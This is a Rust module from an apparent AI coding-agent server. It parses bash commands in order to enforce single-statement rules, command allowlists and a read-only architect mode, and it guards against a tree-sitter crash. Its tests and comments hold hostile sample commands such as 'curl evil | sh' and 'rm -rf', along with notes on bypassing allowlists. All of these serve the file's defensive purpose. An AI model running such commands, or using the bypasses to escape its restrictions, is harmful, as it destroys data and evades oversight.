Skip to main content

winx_code_agent/utils/
bash_parser.rs

1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7/// Replace supplementary-plane code points (>= U+10000, i.e. 4-byte UTF-8) with
8/// U+FFFD before handing text to tree-sitter-bash.
9///
10/// The grammar's C external scanner reads out of bounds on a supplementary-plane
11/// char next to brace context and SIGSEGVs the process — a fatal, NON-deterministic
12/// crash (verified by fuzzing: BMP input never triggered it; supplementary input
13/// crashed ~64% of the time). Under `panic = "abort"` that segfault takes the whole
14/// MCP server down, so a single crafted `BashCommand` is a remote denial of service.
15///
16/// We only parse for *structure* (statement count, command names), so swapping these
17/// rare chars for U+FFFD is invisible to the caller: `bash -n` and the actual
18/// execution still see the original command (emoji and all). Returns `Cow::Borrowed`
19/// for the overwhelmingly common all-BMP case, so there's no cost on the hot path.
20fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21    if command.chars().any(|c| c as u32 >= 0x1_0000) {
22        Cow::Owned(
23            command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24        )
25    } else {
26        Cow::Borrowed(command)
27    }
28}
29
30/// Validate that `command` is a single top-level bash statement.
31///
32/// `allow_shell_probe` controls the tree-sitter-error fallback: when the
33/// embedded grammar flags an error, we *can* ask the real `bash -n -c` whether
34/// the syntax is actually valid (the grammar lags real bash). That spawns a
35/// shell on the request path, so it's gated to trusted (`wcgw`) mode only — in
36/// restricted modes (`code_writer`/`architect`) we must not spawn `bash` to
37/// vet a command, so tree-sitter's verdict is final there.
38pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39    let trimmed = command.trim();
40    if trimmed.is_empty() {
41        return Ok(());
42    }
43    if trimmed.contains('\0') {
44        return Err(WinxError::CommandExecutionError(
45            "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46        ));
47    }
48
49    // Parse a copy with supplementary-plane chars neutralized (see
50    // `neutralize_supplementary`): tree-sitter-bash segfaults on them. `bash -n`
51    // below and the eventual execution still see the original `trimmed`.
52    let parse_src = neutralize_supplementary(trimmed);
53
54    let mut parser = Parser::new();
55    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56    parser.set_language(&language).map_err(|error| {
57        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58    })?;
59
60    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62    })?;
63    let root = tree.root_node();
64
65    if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66        return Err(WinxError::CommandExecutionError(
67            "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68        ));
69    }
70
71    // `parse_src` (not `trimmed`): the node byte offsets index the parsed string.
72    let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74    if statement_count > 1 && !trimmed.contains('\n') {
75        return Err(WinxError::CommandExecutionError(
76            "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
77        ));
78    }
79
80    Ok(())
81}
82
83/// When tree-sitter flags a syntax error we *may* defer to the real `bash -n`
84/// (the embedded grammar lags real bash). That probe spawns a shell, so it only
85/// runs in trusted (wcgw) mode — `allow_shell_probe` gates it. In restricted
86/// modes (`code_writer`/`architect`) the grammar's verdict is final and we never
87/// shell out to vet a command.
88fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
89    allow_shell_probe && bash_accepts_syntax(command)
90}
91
92fn bash_accepts_syntax(command: &str) -> bool {
93    std::process::Command::new("bash")
94        .arg("-n")
95        .arg("-c")
96        .arg(command)
97        .status()
98        .is_ok_and(|status| status.success())
99}
100
101#[derive(Debug, Clone)]
102struct StatementNode {
103    kind: String,
104    start_byte: usize,
105    end_byte: usize,
106}
107
108fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
109    let mut statements = Vec::new();
110    collect_statement_nodes(root, &mut statements);
111
112    statements
113        .iter()
114        .filter(|stmt| stmt.kind != "comment")
115        .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
116        .count()
117}
118
119fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
120    if is_statement_node(node.kind()) {
121        statements.push(StatementNode {
122            kind: node.kind().to_string(),
123            start_byte: node.start_byte(),
124            end_byte: node.end_byte(),
125        });
126    }
127
128    for index in 0..node.named_child_count() as u32 {
129        if let Some(child) = node.named_child(index) {
130            collect_statement_nodes(child, statements);
131        }
132    }
133}
134
135fn is_statement_node(kind: &str) -> bool {
136    matches!(
137        kind,
138        "command"
139            | "variable_assignment"
140            | "declaration_command"
141            | "unset_command"
142            | "comment"
143            | "for_statement"
144            | "c_style_for_statement"
145            | "while_statement"
146            | "if_statement"
147            | "case_statement"
148            | "function_definition"
149            | "pipeline"
150            | "list"
151            | "compound_statement"
152            | "subshell"
153            | "redirected_statement"
154    )
155}
156
157fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
158    if stmt.start_byte == other.start_byte
159        && stmt.end_byte == other.end_byte
160        && stmt.kind == other.kind
161    {
162        return false;
163    }
164
165    let other_text = &source[other.start_byte..other.end_byte];
166    if other.kind == "list" && other_text.contains(';') {
167        return false;
168    }
169
170    other.start_byte <= stmt.start_byte
171        && other.end_byte >= stmt.end_byte
172        && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
173        && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
174}
175
176/// Collect the full text of every `command` node in the script.
177///
178/// Descends through pipelines, lists, subshells, command/process substitution,
179/// loops and conditionals, so an allowlist can be enforced against EVERY command
180/// a line would run — not just `command_line.split_whitespace().next()`, which
181/// `ls && curl|sh`, `ls $(rm -rf x)` and `a; rm -rf /` trivially bypass.
182///
183/// Returns `Err` when the command can't be parsed cleanly; restricted-mode
184/// callers treat that as "not allowed" (fail closed). Code hidden inside a
185/// quoted string (e.g. `bash -c '...'`) is opaque to the parser, so an allowlist
186/// that permits `bash`/`sh`/`eval` stays effectively unrestricted by design.
187pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
188    let trimmed = command.trim();
189    if trimmed.is_empty() {
190        return Ok(Vec::new());
191    }
192    if trimmed.contains('\0') {
193        return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
194    }
195
196    // See `neutralize_supplementary`: parse a sanitized copy so a supplementary
197    // code point can't segfault tree-sitter. The extracted command texts feed the
198    // allowlist, which keys on the (ASCII) command name, so a U+FFFD standing in
199    // for an emoji in some argument doesn't change enforcement.
200    let parse_src = neutralize_supplementary(trimmed);
201
202    let mut parser = Parser::new();
203    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
204    parser.set_language(&language).map_err(|error| {
205        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
206    })?;
207
208    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
209        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
210    })?;
211    let root = tree.root_node();
212    if root.has_error() {
213        return Err(WinxError::CommandExecutionError(
214            "Command could not be parsed for allowlist enforcement.".to_string(),
215        ));
216    }
217
218    let mut texts = Vec::new();
219    collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
220    Ok(texts)
221}
222
223fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
224    if node.kind() == "command" {
225        if let Ok(text) = node.utf8_text(src) {
226            out.push(text.to_string());
227        }
228    }
229    let mut cursor = node.walk();
230    for child in node.children(&mut cursor) {
231        collect_command_texts(child, src, out);
232    }
233}
234
235/// Commands that can execute arbitrary code passed as a string argument.
236///
237/// If a `code_writer` allowlist permits any of these, the allowlist is
238/// effectively unrestricted: the tree-sitter parser sees `bash -c '...'`,
239/// `eval "..."`, `find -exec ...` or `xargs sh` as a single allowed command and
240/// can't inspect the code hidden inside. This list backs an advisory warning,
241/// not enforcement — enforcement stays fail-closed regardless.
242pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
243    "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
244    "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
245    "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
246];
247
248/// Commands exposed by architect mode. This deliberately omits general-purpose
249/// interpreters and utilities with write/exec primitives (`sed`, `awk`, `find`,
250/// `tee`, ...). Bash restricted mode is only defense in depth: it does not make
251/// ordinary commands such as `touch` or `rm` read-only.
252pub const ARCHITECT_COMMANDS: &[&str] = &[
253    "pwd",
254    "ls",
255    "rg",
256    "grep",
257    "head",
258    "tail",
259    "wc",
260    "stat",
261    "file",
262    "readlink",
263    "realpath",
264    "basename",
265    "dirname",
266    "printf",
267    "echo",
268    "type",
269    "which",
270    "uname",
271    "date",
272    "id",
273    "whoami",
274    "du",
275    "df",
276    "tree",
277    "git status",
278    "git diff",
279    "git log",
280    "git show",
281    "git ls-files",
282    "git grep",
283    "git rev-parse",
284    "git branch --show-current",
285];
286
287pub fn architect_allowed_commands() -> Vec<String> {
288    ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
289}
290
291/// Fail-closed read-only policy for architect shell commands.
292///
293/// The normal allowlist checks every nested command, but a few nominally
294/// read-only programs have options that execute helpers or write files. Validate
295/// those options here as well so `rg --pre`, `git diff --ext-diff`, and
296/// `git show --output=...` cannot turn the architect shell into a mutation path.
297pub fn is_architect_command_allowed(command_line: &str) -> bool {
298    if contains_file_redirect(command_line) {
299        return false;
300    }
301    let Ok(commands) = extract_command_texts(command_line) else { return false };
302    !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
303}
304
305/// Reject shell-managed file redirects in architect mode. Even a harmless
306/// command such as `echo` or `git diff` becomes a write primitive when followed
307/// by `> file`; checking command names alone cannot see that side effect.
308fn contains_file_redirect(command: &str) -> bool {
309    let parse_src = neutralize_supplementary(command.trim());
310    let mut parser = Parser::new();
311    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
312    if parser.set_language(&language).is_err() {
313        return true;
314    }
315    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
316    let root = tree.root_node();
317    root.has_error() || node_tree_contains_kind(root, "file_redirect")
318}
319
320fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
321    if node.kind() == kind {
322        return true;
323    }
324    let mut cursor = node.walk();
325    let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
326    found
327}
328
329fn architect_command_is_safe(command: &str) -> bool {
330    let words: Vec<&str> = command.split_whitespace().collect();
331    let Some(program) = words.first().copied() else { return false };
332
333    if program == "git" {
334        let Some(subcommand) = words.get(1).copied() else { return false };
335        if subcommand == "branch" {
336            return words.as_slice() == ["git", "branch", "--show-current"];
337        }
338        if !matches!(
339            subcommand,
340            "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
341        ) {
342            return false;
343        }
344        return !words.iter().skip(2).any(|word| {
345            word.starts_with("--output")
346                || *word == "--ext-diff"
347                || *word == "--textconv"
348                || word.starts_with("--open-files-in-pager")
349        });
350    }
351
352    let allowed = ARCHITECT_COMMANDS
353        .iter()
354        .filter(|entry| !entry.starts_with("git "))
355        .any(|entry| *entry == program);
356    if !allowed {
357        return false;
358    }
359
360    if program == "rg" {
361        return !words.iter().skip(1).any(|word| {
362            word == &"--pre"
363                || word.starts_with("--pre=")
364                || word == &"--hostname-bin"
365                || word.starts_with("--hostname-bin=")
366        });
367    }
368
369    true
370}
371
372/// Return the deduplicated allowlist entries that make a `code_writer` allowlist
373/// bypassable (see [`SHELL_SPAWNING_COMMANDS`]).
374///
375/// The allowlist matches on command *name*, so we compare the basename of each
376/// entry's first whitespace-delimited token: `find`, `/usr/bin/find` and
377/// `find -exec rm {} +` all resolve to `find`.
378pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
379    let mut hits: Vec<String> = allowed
380        .iter()
381        .filter_map(|entry| {
382            let first = entry.split_whitespace().next()?;
383            let base = std::path::Path::new(first).file_name()?.to_str()?;
384            SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
385        })
386        .collect();
387    hits.sort();
388    hits.dedup();
389    hits
390}
391
392#[cfg(test)]
393mod tests {
394    use super::assert_single_statement;
395    use super::detect_allowlist_bypass;
396    use super::extract_command_texts;
397    use super::is_architect_command_allowed;
398    use proptest::prelude::*;
399
400    proptest! {
401        /// This gate parses untrusted LLM command strings with tree-sitter; under
402        /// panic=abort, any panic here crashes the server. It must only ever return
403        /// Ok/Err — never panic — for ANY input (incl. multiline, control chars, junk).
404        #[test]
405        fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
406            let _ = assert_single_statement(&cmd, false);
407            let _ = assert_single_statement(&cmd, true);
408        }
409
410        #[test]
411        fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
412            let _ = extract_command_texts(&cmd);
413        }
414    }
415
416    #[test]
417    fn supplementary_plane_input_does_not_segfault_the_parser() {
418        // Regression: `{` followed by a supplementary-plane code point (>= U+10000)
419        // made tree-sitter-bash's C scanner read out of bounds and SIGSEGV the whole
420        // process (a fatal, non-deterministic DoS under panic=abort). Both parse paths
421        // must now return cleanly. Run the minimal trigger many times to beat the
422        // non-determinism, plus a few representative supplementary chars.
423        for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
424            for _ in 0..40 {
425                let cmd = format!("{{{c}");
426                let _ = assert_single_statement(&cmd, false);
427                let _ = extract_command_texts(&cmd);
428            }
429        }
430    }
431
432    #[test]
433    fn emoji_command_still_validates_as_single_statement() {
434        // The fix sanitizes ONLY the parsed copy, so a legit command carrying an
435        // emoji is still accepted (not rejected) and seen as one statement.
436        assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
437    }
438
439    #[test]
440    fn architect_policy_allows_read_only_exploration() {
441        for command in [
442            "pwd",
443            "rg -n TODO src | head -20",
444            "git status --short",
445            "git diff -- src/lib.rs",
446            "git branch --show-current",
447        ] {
448            assert!(is_architect_command_allowed(command), "should allow: {command}");
449        }
450    }
451
452    #[test]
453    fn architect_policy_blocks_mutation_and_helper_execution() {
454        for command in [
455            "touch owned",
456            "rm file",
457            "sed -i s/a/b/ file",
458            "git checkout -- file",
459            "git diff --output=leak.patch",
460            "git branch --show-current --delete main",
461            "rg --pre 'touch owned' pattern",
462            "rg pattern $(touch owned)",
463            "echo owned > marker",
464            "git diff >> marker",
465            "ls 2> marker",
466        ] {
467            assert!(!is_architect_command_allowed(command), "should reject: {command}");
468        }
469    }
470
471    #[test]
472    fn extracts_nested_commands_for_allowlist() {
473        // Pipelines, && and command substitution must all surface.
474        let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
475        assert!(names.iter().any(|c| c.starts_with("ls")));
476        assert!(names.iter().any(|c| c.starts_with("curl")));
477        assert!(names.iter().any(|c| c.starts_with("sh")));
478
479        let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
480        assert!(subst.iter().any(|c| c.starts_with("rm")));
481    }
482
483    #[test]
484    fn accepts_shell_chains_as_single_statement() {
485        assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
486    }
487
488    #[test]
489    fn accepts_heredocs_as_single_statement() {
490        let command = "cat <<'EOF'\nhello\nEOF";
491        assert!(assert_single_statement(command, true).is_ok());
492    }
493
494    #[test]
495    fn accepts_for_loop_as_single_compound_statement() {
496        assert!(
497            assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
498        );
499    }
500
501    #[test]
502    fn rejects_semicolon_separated_top_level_statements() {
503        assert!(assert_single_statement("pwd; ls", true).is_err());
504    }
505
506    #[test]
507    fn accepts_multiline_scripts() {
508        assert!(assert_single_statement("pwd\nls", true).is_ok());
509    }
510
511    #[test]
512    fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
513        let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
514        assert!(assert_single_statement(command, true).is_ok());
515    }
516
517    #[test]
518    fn shell_probe_is_gated_to_trusted_mode() {
519        use super::rescued_by_shell_probe;
520        // The probe (`bash -n`) only runs in trusted (wcgw) mode. Tested on the
521        // pure decision so it doesn't depend on finding a command the embedded
522        // grammar happens to reject — which is the whole point of the gate.
523        //
524        // Probe ON: a command real bash accepts is rescued past a tree-sitter error.
525        assert!(rescued_by_shell_probe("echo hi", true));
526        // Probe OFF (restricted modes): NOT rescued, even though bash would accept
527        // it — and crucially we never spawn a shell to find out.
528        assert!(!rescued_by_shell_probe("echo hi", false));
529        // Probe ON but genuinely broken syntax: bash rejects too, so no rescue.
530        assert!(!rescued_by_shell_probe("echo )(", true));
531    }
532
533    #[test]
534    fn detect_allowlist_bypass_flags_shell_spawners() {
535        let allowed = vec![
536            "ls".to_string(),
537            "bash".to_string(),
538            "cat -n".to_string(),
539            "find . -exec rm {} +".to_string(),
540        ];
541        assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
542    }
543
544    #[test]
545    fn detect_allowlist_bypass_clean_list_is_empty() {
546        let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
547        assert!(detect_allowlist_bypass(&allowed).is_empty());
548    }
549
550    #[test]
551    fn detect_allowlist_bypass_matches_basename_of_path() {
552        let allowed = vec!["/usr/bin/env python".to_string()];
553        assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
554    }
555
556    #[test]
557    fn rejects_nul_with_actionable_message() {
558        let error = match assert_single_statement("printf '\0'", true) {
559            Ok(()) => String::new(),
560            Err(error) => error.to_string(),
561        };
562        assert!(error.contains("NUL byte"));
563        assert!(error.contains("\\\\x00"));
564    }
565}